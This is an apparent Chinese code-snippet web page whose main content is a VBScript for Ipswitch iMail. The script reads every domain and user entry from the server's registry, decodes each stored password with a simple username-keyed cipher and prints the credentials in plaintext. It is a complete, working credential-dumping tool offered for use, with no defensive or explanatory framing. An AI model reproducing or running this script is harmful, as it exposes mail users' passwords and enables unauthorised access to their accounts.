vbs imail 密码解密
程序员文章站
2022-03-21 11:00:24
复制代码 代码如下:on error resume next const hkey_local_machine = &h80000002 strcomputer = "."...
复制代码 代码如下:
on error resume next
const hkey_local_machine = &h80000002
strcomputer = "."
set oreg=getobject("winmgmts:{impersonationlevel=impersonate}!\\" &_
strcomputer & "\root\default:stdregprov")
strkeypath = "software\ipswitch\imail\domains"
oreg.enumkey hkey_local_machine, strkeypath, arrsubkeys
for each subkey in arrsubkeys
wscript.echo "domain: "&subkey
strkeypath2 = strkeypath&"\"&subkey&"\users"
oreg.enumkey hkey_local_machine, strkeypath2, arrsubkeys2
for each subkey2 in arrsubkeys2
strkeypath3=strkeypath2&"\"&subkey2
strvaluename = "password"
oreg.getstringvalue hkey_local_machine,strkeypath3,strvaluename,strvalue
if len(subkey2) and len(strvalue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strvalue)
end if
next
next
function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&h"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function
上一篇: 搞不好是亲戚